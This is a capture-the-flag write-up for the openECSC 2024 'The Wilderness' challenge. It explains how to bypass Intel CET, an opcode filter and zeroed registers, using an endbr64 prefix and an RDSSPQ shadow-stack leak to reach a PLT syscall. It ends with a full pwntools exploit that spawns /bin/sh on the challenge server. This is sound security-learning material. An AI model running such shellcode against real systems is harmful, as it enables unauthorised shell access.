tl;dr
The challenge requires input of our shellcode’s bytecode. There are several constraints that increase the difficulty:
- The environment relies on Intel CET: Control Flow Enforcement Technology.
- Forbidden opcodes include traps such as syscall, sysexit, and int80.
- All registers are cleared.
- Our shellcode cannot contain
\x00bytes. - The shellcode is executed in a memory area that is only readable and executable, thus polymorphic shellcode cannot be used.
First step
Upon uncompressed, the archive provided by the challenge contains the following files:
$ tree --filelimit 5
.
├── Dockerfile
├── build
│ └── the_wilderness
├── docker-compose.yml
├── run.sh
└── sde-external-9.33.0-2024-01-07-lin
We can observe from ./run.sh that the binary is executed using the Intel Software Development Emulator (Intel SDE).
#!/bin/sh
echo "[+] starting challenge..."
/home/user/sde/sde64 -no-follow-child -cet -cet_output_file /dev/null -- /home/user/build/the_wilderness
echo "[+] challenge stopped"
It’s worth noting that the flag -cet is in use, which indicates the implementation of control flow enforcement technology.
Environment setup
I made two changes to the files to set up the debug environment:
- Added the flag
-debugin the run.sh file - Modified the Dockerfile to install gdb and gef extension.
Code review
Shifting our focus to the get_code function within the binary, we can observe the following:
- The memory is always mapped at the address
0xdead000 - Initially, the memory is set as readable and writable with
PROT_READ | PROT_WRITE(3).

- Before execution, the permissions of the mapped area
0xdead000are changed toPROT_EXEC | PROT_READ(5) using mprotect.

- Our input cannot contain the bytecode
\x00.

- The input must not include trap instructions such as syscall, sysenter, or int80.


In the run_code function, all registers are cleared, including the SIMD registers. Furthermore, before executing the shellcode, even the fs and gs base are zeroed, eliminating any possibility of leaking addresses.
Divide et impera
Problem 1: Intel Control Flow Enforcement Technology
Intel Control Flow Enforcement Technology (CET) is a mitigation measure aimed at thwarting techniques like Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP). Essentially, after a return or a jump, the next expected instruction is an endbr64. If this expectation is not met, the subsequent instruction will trigger a segmentation fault.
Solution
In this scenario, we have complete control over the instruction that will be executed. Essentially, we need to place endbr64 at the beginning of our shellcode.
Problem 2: Traps are forbidden
Traps instructions are prohibited, and the code that checks for this behavior appears to be robust. We are not allowed to use the syscall, sysenter, or int80 instructions.
Solution
We can exploit the fact that a reference to syscall is present in the binary. When arch_prctl is called, it will invoke syscall from the libc. If we can obtain a leak of the address of the binary, we can then jump to the syscall entry in the PLT (Procedure Linkage Table).
Problem 3: No leak?
The unsettling aspect of this challenge is that everything is zeroed out. All general-purpose registers and even special (SIMD) ones are cleared. Even the base of fs and gs is set to zero.
Solution
To overcome this problem, we need to find an instruction that will cause a leak in the registers. After some searching, I decided to skim through all the instructions of the x86/x64 architecture architecture. Finally, I came across RDSSPD/RDSSPQ. This instruction, when Intel CET shadow stack is enabled, will indeed cause a leak in the specified register.
Exploit
Here is the full script:
from pwn import *
context.arch = "amd64"
DEBUG = False
if DEBUG:
import clipboard
r = remote("127.0.0.1", 1337)
r.recvuntil("remote ")
port = r.recvline(keepends=False).decode()
clipboard.copy(f"target remote :{port}")
else:
r = remote("thewilderness.challs.open.ecsc2024.it", 38012)
shellcode = []
# bypass CET
shellcode += ["endbr64"]
# Get a PIE leak
shellcode += ["rdsspq rsp"] # rsp now contains a shadow stack pointer leak
shellcode += ["mov rbx, [rsp]"] # rbx now contains a PIE leak
# prepare arguments to syscall from libc
shellcode += ["xor rdi, rdi"]
shellcode += ["xor rdi, 59"] # execve syscall
shellcode += ["xor rsi, rsi"]
shellcode += ["xor rsi, 0xdead02a"] # address of /bin/sh
# Call plt[syscall]
shellcode += ["sub bx, 0x1563"] # subtract main+63 offset
shellcode += ["add bx, 0x126f"] # offset of plt[syscall]
shellcode += ["call rbx"] # call plt[syscall]
shellcode += ['.ascii "/bin/sh"']
shellcode = asm("\n".join(shellcode))
r.sendlineafter(b"Wilderness?", str(len(shellcode)).encode())
r.sendlineafter(b"Wilderness?", shellcode)
log.info("Got shell ?!")
r.interactive()
openECSC{h3r3_1n_th3_wild3rness_w3_l1ke_h1d1ng_1n_the_sh4dow_64d70520}
